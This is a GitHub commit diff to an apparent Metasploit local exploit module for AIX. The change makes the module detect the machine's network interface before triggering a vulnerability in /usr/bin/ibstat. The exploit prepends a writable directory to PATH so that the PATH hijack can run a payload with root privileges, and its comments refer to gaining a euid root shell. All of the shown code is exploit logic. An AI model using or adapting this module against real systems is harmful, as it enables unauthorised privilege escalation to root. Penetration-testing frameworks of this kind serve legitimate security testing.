File tree Expand file tree Collapse file tree 1 file changed +15
-1
lines changed
modules/exploits/aix/local Expand file tree Collapse file tree 1 file changed +15
-1
lines changed Original file line number Diff line number Diff line change @@ -110,8 +110,22 @@ def exploit
110
110
cmd_exec ( "PATH=#{ datastore [ "WritableDir" ] } :$PATH" )
111
111
cmd_exec ( "export PATH" )
112
112
113
+ print_status ( "Finding interface name..." )
114
+ iface = ""
115
+ cmd_exec ( "lsdev -Cc if" ) . each_line do |line |
116
+ if line . match ( /^[a-z]+[0-9]+\s +Available/ ) and not line . match ( /^lo[0-9]/ )
117
+ iface = line . split ( /\s +/ ) [ 0 ]
118
+ print_status ( "Found interface #{ iface } ." )
119
+ break
120
+ end
121
+ end
122
+ if iface == ""
123
+ iface = "en0"
124
+ print_status ( "Found no interface, defaulting to en0." )
125
+ end
126
+
113
127
print_status ( "Triggering vulnerablity..." )
114
- cmd_exec ( "/usr/bin/ibstat -a -i en0 2>/dev/null >/dev/null" )
128
+ cmd_exec ( "/usr/bin/ibstat -a -i #{ iface } 2>/dev/null >/dev/null" )
115
129
116
130
# The $PATH variable must be restored before the payload is executed
117
131
# in cases where an euid root shell was gained
You can’t perform that action at this time.
0 commit comments